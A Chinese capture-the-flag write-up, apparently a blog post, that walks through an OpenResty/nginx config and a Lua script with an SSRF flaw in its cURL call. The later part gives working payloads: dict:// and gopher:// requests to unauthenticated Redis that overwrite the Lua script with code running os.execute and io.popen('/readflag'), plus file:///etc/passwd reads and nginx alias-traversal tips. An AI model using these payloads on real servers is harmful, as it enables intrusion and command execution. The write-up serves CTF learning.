index index.html;
}
-
location / → URL 根路径
/ -
root html → 容器里的
/usr/local/openresty/nginx/html文件夹 -
index index.html → 默认返回 index.html
-
对象:
-
URL
/→ 请求对象 -
html 文件夹 → 文件对象
-
index.html → 文件对象
-
✅ 这块就是 静态网页服务,用户访问 / 会看到这个页面。
2.2 动态 Lua 脚本 location
location /visit {
default_type text/plain;
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
-
location /visit → URL
/visit对应的处理 -
default_type text/plain → 响应类型是纯文本
-
content_by_lua_file → Nginx 内置 Lua 执行指令
-
对象:
main.lua文件对象 -
用户访问
/visit时,Nginx 会调用main.lua脚本来生成响应
-
-
对象关系:
-
HTTP 请求 → Nginx → Lua 脚本处理 → 返回响应
-
2.3 lua_code_cache
lua_code_cache off;
-
对象:Lua 脚本缓存参数
-
作用:
-
默认 Lua 脚本会缓存,修改后不生效
-
off→ 每次访问都会重新加载 Lua 脚本
-
-
CTF 用途:
-
修改
/scripts/visit.script立即生效,不用重启 Nginx
-
3️⃣ 整个请求流程(对象 + 流向)
用户浏览器发送 HTTP 请求(HTTP 请求对象)
│
▼
Nginx(Web 服务器对象)
┌─────────────┴─────────────┐
│ │
/ /visit
静态文件 location 动态 Lua location
html/index.html main.lua 脚本对象
│
▼
读取 /scripts/visit.script 文件对象
│
▼
执行 Lua 代码对象
│
▼
返回响应(HTTP 响应对象)
4️⃣ 对象总结
| 对象类型 | 容器里的具体例子 | 作用 |
|---|---|---|
| 文件对象 | /html/index.html, /lua/main.lua, /scripts/visit.script, /flag |
存储数据或代码 |
| 配置对象 | nginx.conf, mime.types |
指示 Nginx 行为 |
| 进程 / worker 对象 | Nginx worker, LuaJIT | 执行请求处理逻辑 |
| HTTP 请求对象 | 浏览器访问 / 或 /visit |
触发服务响应 |
| Lua 脚本对象 | main.lua |
Web 动态逻辑和漏洞入口 |
| 响应对象 | Nginx 输出内容 | 用户看到的网页或文本 |
| 参数对象 | worker_connections, listen, lua_code_cache | 控制行为的设置 |
💡 一句话理解
-
用户发 HTTP 请求 → 请求对象
-
Nginx 拿到请求 → 根据 location 路由
-
/→ 静态文件 -
/visit→ Lua 脚本(main.lua)处理 → 动态逻辑 -
Lua 可以访问
/scripts、Redis、flag → 漏洞入口 -
执行结果 → 响应对象 → 返回给用户
CTF 中 nginx.conf 看这些(对比你的文章)
| 通用文章讲的 | CTF 要看的 | 为什么 |
|---|---|---|
| 性能优化、Gzip | location 路由映射 |
找到所有入口点 |
| 负载均衡 | 哪些路径走 Lua/PHP/FastCGI | 确定攻击面 |
| SSL 配置 | 文件路径、权限配置 | 找文件包含/读取漏洞 |
| 日志分割 | 变量使用如 $uri, $document_root |
解析漏洞、路径穿越 |
| 限流安全 | 是否有 alias 配置 |
alias 目录穿越漏洞 |
CTF 专用检查清单
1. 路由与攻击面(最重要)
# 看这些:
location / {
# 静态文件?→ 检查路径穿越
root /var/www/html;
index index.html;
}
location /api {
# 代理到后端?→ SSRF、HTTP走私
proxy_pass http://backend;
}
location /visit {
# Lua 脚本?→ 代码执行(本题!)
content_by_lua_file /path/main.lua;
}
location ~ \.php$ {
# PHP?→ 文件包含、上传、反序列化
fastcgi_pass php-fpm;
}
# 隐藏路由?
location /admin { ... }
location /internal { ... }
location ~ /(flag|config|backup) { ... }
2. 危险配置(直接漏洞)
# 1. alias 目录穿越(经典!)
location /files {
alias /var/www/files/; # 注意末尾斜杠!
# 访问 /files../ → 穿越到 /var/www/
}
# 2. 变量解析漏洞
location ~ \.(gif|jpg|png)$ {
root /var/www/$arg_path; # $arg_path 可控 → 路径穿越
}
# 3. 配置错误暴露源码
location ~ /\.git { deny all; } # 有这条 = 提示有 .git
location ~ \.sql$ { deny all; } # 提示有 SQL 备份
# 4. 危险的 header 或 body 处理
client_body_in_file_only on; # 上传文件存临时文件
client_max_body_size 100M; # 大文件上传
3. 权限与文件操作
# 看运行用户(影响文件读写权限)
user www-data; # 还是 root?nobody?
# 看日志路径(日志污染攻击)
error_log /var/log/nginx/error.log;
access_log /var/log/nginx/access.log;
# 看 include(可能包含其他配置)
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
回到本题:你已经看到的
location /visit {
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
CTF 视角解读:
| 发现 | 含义 |
|---|---|
/visit 走 Lua |
请求触发 main.lua |
main.lua 读 /scripts/visit.script |
需要控制这个文件 |
lua_code_cache off |
每次请求重新加载,改文件立即生效 |
一、这段 Lua 是前端代码吗? 不是。
这段代码属于后端逻辑,运行环境是:
OpenResty (Nginx + Lua)
它在服务器端执行,而非浏览器端。
二、前端具体指什么? 前端指在浏览器中运行的内容,通常包括:
- index.html
- CSS 文件
- JavaScript 文件
示例:
<form action="/visit" method="get">
<input name="url">
<button>Submit</button>
</form>
这段 HTML 才是前端代码。
三、完整请求流程 假设 Nginx 配置如下:
location / {
root html;
index index.html;
}
location /visit {
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
请求流程为:
- 浏览器访问 /
- Nginx 返回 html/index.html
- 用户点击按钮发送请求
- 浏览器请求 /visit
- Nginx 调用 main.lua
- 执行对应的 Lua 代码
四、核心问题解析 这段 Lua 代码如何被触发?
触发机制:
通过 Nginx 调用执行。在 nginx.conf 中配置:
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
当访问对应 URL 时,就会执行这段 Lua 代码。
一、这段 Lua 是前端代码吗? 不是。
这段代码属于后端逻辑,运行环境是:
OpenResty (Nginx + Lua)
它在服务器端执行,而非浏览器端。
二、前端具体指什么? 前端指在浏览器中运行的内容,通常包括:
- index.html
- CSS 文件
- JavaScript 文件
示例:
<form action="/visit" method="get">
<input name="url">
<button>Submit</button>
</form>
这段 HTML 才是前端代码。
三、完整请求流程 假设 Nginx 配置如下:
location / {
root html;
index index.html;
}
location /visit {
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
请求流程为:
- 浏览器访问 /
- Nginx 返回 html/index.html
- 用户点击按钮发送请求
- 浏览器请求 /visit
- Nginx 调用 main.lua
- 执行对应的 Lua 代码
四、核心问题解析 这段 Lua 代码如何被触发?
触发机制:
通过 Nginx 调用执行。在 nginx.conf 中配置:
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
当访问对应 URL 时,就会执行这段 Lua 代码。
nginx里面有
location / { root html; index index.html; }
1️⃣ location / 和 location /visit 分工
location / {
root html;
index index.html;
}
-
前端就在这里
-
/对应 URL 根路径 -
浏览器访问
http://localhost/→ Nginx 找html/index.html返回 -
index.html+ 里面的 CSS/JS 就是 前端 -
前端完全在浏览器里运行
location /visit {
default_type text/plain;
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
-
/visit对应 URL/visit -
这里没有前端
-
访问
/visit→ Nginx 不返回静态页面,而是执行 Lua 脚本 -
Lua 脚本是后端逻辑,直接处理服务器文件(如
/scripts/visit.script) -

-


前端有向/visit发起请求的,完全可控
这是visit.script
##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")
ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.url
if not url then
ngx.say("URL parameter is missing!")
return
end
local red = redis:new()
red:set_timeout(1000)
local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
ngx.say("Failed to connect to Redis: ", err)
return
end
local res, err = red:get(url)
if res and res ~= ngx.null then
ngx.say(res)
return
end
local c = curl.easy {
url = url,
timeout = 5,
connecttimeout = 5
}
local response_body = {}
c:setopt_writefunction(table.insert, response_body)
local ok, err = pcall(c.perform, c)
if not ok then
ngx.say("Failed to perform request: ", err)
c:close()
return
end
c:close()
local response_str = table.concat(response_body)
local ok, err = red:setex(url, 3600, response_str)
if not ok then
ngx.say("Failed to save response in Redis: ", err)
return
end
ngx.say(response_str)
##LUA_END##

其实直接测也能知道有ssrf,看代码只是验证,所以其实这题
逐行解析 + CTF 关注点
1. 引入模块
local curl = require("cURL") -- 引入 cURL 库(HTTP 客户端)
local redis = require("resty.redis") -- 引入 Redis 客户端
| 语法 | 含义 | CTF 关注 |
|---|---|---|
require("模块名") |
加载外部库 | 知道有哪些功能可用 |
2. 读取请求参数
ngx.req.read_body() -- 读取请求 body(POST 用)
local args = ngx.req.get_uri_args() -- 获取 URL 参数(?a=1&b=2)
local url = args.url -- 获取 url 参数的值
| 语法 | 含义 | CTF 关注 |
|---|---|---|
ngx.req.read_body() |
读取 POST body | 本题是 GET,可省略 |
ngx.req.get_uri_args() |
获取所有 URL 参数 | 返回 表(table) |
args.url |
访问表的字段 | 等价于 args["url"] |
攻击点: url 参数完全可控!
3. 参数检查
if not url then
ngx.say("URL parameter is missing!") -- 输出错误信息
return -- 结束执行
end
| 语法 | 含义 | CTF 关注 |
|---|---|---|
if not 变量 |
如果变量为 nil/false | Lua 中 nil 表示空 |
ngx.say("字符串") |
输出到 HTTP 响应 | 类似 echo |
return |
结束函数 | 后面的代码不执行 |
4. 连接 Redis
local red = redis:new() -- 创建 Redis 对象
red:set_timeout(1000) -- 设置超时 1000ms
local ok, err = red:connect("127.0.0.1", 6379) -- 连接本地 Redis
if not ok then
ngx.say("Failed to connect to Redis: ", err)
return
end
| 语法 | 含义 | CTF 关注 |
|---|---|---|
对象:new() |
创建新对象 | 面向对象风格 |
对象:方法() |
调用对象的方法 | 冒号表示 self 参数 |
local ok, err = 函数() |
接收多个返回值 | Lua 可以多返回 |
关键: 连接的是 127.0.0.1:6379,无密码!
5. 查询缓存
local res, err = red:get(url) -- 用 url 作为 key 查 Redis
if res and res ~= ngx.null then -- 如果有值且不为空
ngx.say(res) -- 直接返回缓存内容
return -- 结束
end
| 语法 | 含义 | CTF 关注 |
|---|---|---|
red:get(key) |
Redis GET 命令 | 查询缓存 |
res ~= ngx.null |
不等于空值 | ~= 是不等于 |
if A and B |
A 和 B 都真才执行 | 短路求值 |
攻击点: 如果之前访问过相同 URL,直接返回缓存,不会发请求!
6. cURL 发起请求(💣 SSRF!)
local c = curl.easy { -- 创建 cURL 对象
url = url, -- 💣 用户可控的 URL!
timeout = 5,
connecttimeout = 5
}
local response_body = {}
c:setopt_writefunction(table.insert, response_body) -- 设置回调:数据存入表
local ok, err = pcall(c.perform, c) -- 执行请求(保护调用)
| 语法 | 含义 | CTF 关注 |
|---|---|---|
curl.easy { ... } |
创建 cURL 对象,表作为配置 | 类似构造函数 |
url = url |
💣 SSRF 漏洞点! | 可以访问内网 |
table.insert(表, 值) |
向表追加元素 | 数组操作 |
pcall(函数, 参数) |
保护调用,出错不崩溃 | 返回 ok, err |
核心漏洞: url 参数直接进 cURL,可以访问:
-
http://127.0.0.1:6379→ Redis -
file:///etc/passwd→ 读本地文件(如果支持) -
gopher://127.0.0.1:6379/...→ 任意 Redis 命令
7. 错误处理
if not ok then
ngx.say("Failed to perform request: ", err)
c:close()
return
end
c:close()
| 语法 | 含义 |
|---|---|
c:close() |
关闭 cURL 连接 |
.. 或 , |
字符串连接(ngx.say 里用 , 自动转字符串) |
8. 存入缓存
local response_str = table.concat(response_body) -- 把表拼接成字符串
local ok, err = red:setex(url, 3600, response_str) -- 存入 Redis,3600秒过期
if not ok then
ngx.say("Failed to save response in Redis: ", err)
return
end
ngx.say(response_str) -- 返回给客户端
| 语法 | 含义 | CTF 关注 |
|---|---|---|
table.concat(表) |
把数组拼接成字符串 | |
red:setex(key, 秒, value) |
Redis SETEX 命令 | 设置带过期时间的缓存 |
脚本执行了scripts/visit.script的内容,这个脚本需要##LUA_START## 和##LUA_END##包裹
scripts/visit.script 也有##LUA_START##包裹 然后才有的ssrf,所以tongx
攻击的"一次性"特性
原始状态:
/scripts/visit.script = 有 cURL+Redis 功能的代码(你之前贴的那个)
攻击步骤:
1. SSRF 访问 gopher://127.0.0.1:6379/...
2. Redis CONFIG SET dir /scripts
3. Redis CONFIG SET dbfilename visit.script
4. Redis SET x "##LUA_START##os.execute('id')##LUA_END##"
5. Redis SAVE
结果:
/scripts/visit.script 被覆盖成:
##LUA_START##
os.execute('id')
##LUA_END##



至于用redis未授权写的话,直接dict协议就行。
直接使用 redis 将 lua 写入 visit.script
dict://127.0.0.1:6379/set:payload:"##LUA_START##ngx.say(io.popen('/readflag'):read('*all'))##LUA_END##"
dict://127.0.0.1:6379/config:set:dir:/scripts/
dict://127.0.0.1:6379/config:set:dbfilename:visit.script
dict://127.0.0.1:6379/bgsave
好问题!dict vs gopher 协议的选择,核心看 Redis 版本和配置。
协议对比
| 协议 | 原理 | 适用场景 | 优缺点 |
|---|---|---|---|
| dict | dict://ip:port/命令 直接发文本 |
Redis 4.x/5.x 早期版本,或配置宽松 | 简单直观,但高版本可能禁用 |
| gopher | gopher://ip:port/_数据 发原始 TCP |
所有版本,特别是高版本或有防护 | 万能,但构造复杂需要 URL 编码 |
什么时候用 dict?
✅ 可以用 dict 的情况
dict://127.0.0.1:6379/CONFIG SET dir /tmp
| 条件 | 说明 |
|---|---|
| Redis 4.x 或 5.x 早期 | 默认接受任意协议文本 |
protected-mode no |
无密码保护 |
没有 bind 127.0.0.1 限制 |
或 SSRF 来自本地 |
| 题目明确测试过可用 | 比如本题你可以试试 |
❌ dict 失效的情况
| 情况 | 原因 |
|---|---|
| Redis 6.x+ | 加强了协议校验,dict 可能不认 |
有 requirepass |
需要认证,dict 不好带密码 |
有 rename-command CONFIG "" |
CONFIG 被禁用 |
| 防火墙/IPS 拦截 | 非标准 HTTP 被拦截 |
什么时候必须用 gopher?
✅ 必须用 gopher 的情况
gopher://127.0.0.1:6379/_*2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123456%0d%0a...
| 场景 | 为什么用 gopher |
|---|---|
需要认证 AUTH password |
dict 不好构造多行交互 |
需要精确控制换行 \r\n |
gopher 发原始字节流 |
| Redis 6.x+ 或高版本 | 只认 RESP 协议,gopher 可以构造 |
| 复杂命令序列 | 多条命令一起发 |
| dict 被过滤/拦截 | gopher 更隐蔽 |
本题分析
你的环境
RUN apt install redis -y
Debian/Ubuntu 默认源的 Redis 版本:
-
Ubuntu 18.04 (bionic) → Redis 4.x 或 5.x
结论:dict 大概率可用!
测试方法
测试 1:dict 协议(简单)
# 直接测试 Redis 是否响应
curl "http://靶机IP/visit?url=dict://127.0.0.1:6379/INFO"
# 或者
curl "http://靶机IP/visit?url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/tmp"
如果返回 Redis 信息,说明 dict 可用!
测试 2:gopher 协议(万能)
# 构造 RESP 协议的 PING
curl "http://靶机IP/visit?url=gopher://127.0.0.1:6379/_*1%0d%0a%244%0d%0aPING%0d%0a"
# 返回 +PONG 说明成功
实战选择流程
开始
│
▼
尝试 dict://127.0.0.1:6379/INFO
│
├─► 返回 Redis 信息 ──► 用 dict!简单快捷
│
└─► 无响应/报错 ──► 用 gopher!万能构造
│
▼
构造 RESP 协议 payload
│
▼
成功攻击
本题建议
先测 dict(因为 Redis 版本低)
# 测试连接
curl "http://127.0.0.1/visit?url=dict://127.0.0.1:6379/PING"
# 测试写配置
curl "http://127.0.0.1/visit?url=dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/scripts"
# 检查是否成功
redis-cli CONFIG GET dir
如果 dict 不行,再上 gopher
# 完整的 gopher payload(之前给的)
curl "http://127.0.0.1/visit?url=gopher://127.0.0.1:6379/_*3%0d%0a..."
一句话总结
| 场景 | 用 |
|---|---|
| Redis 4.x/5.x,简单题 | dict,简单直接 |
| Redis 6.x+,需要认证,复杂命令 | gopher,万能构造 |
| 不确定 | 先 dict 试试,不行换 gopher |
总结就是先测dict协议。
更多推荐


所有评论(0)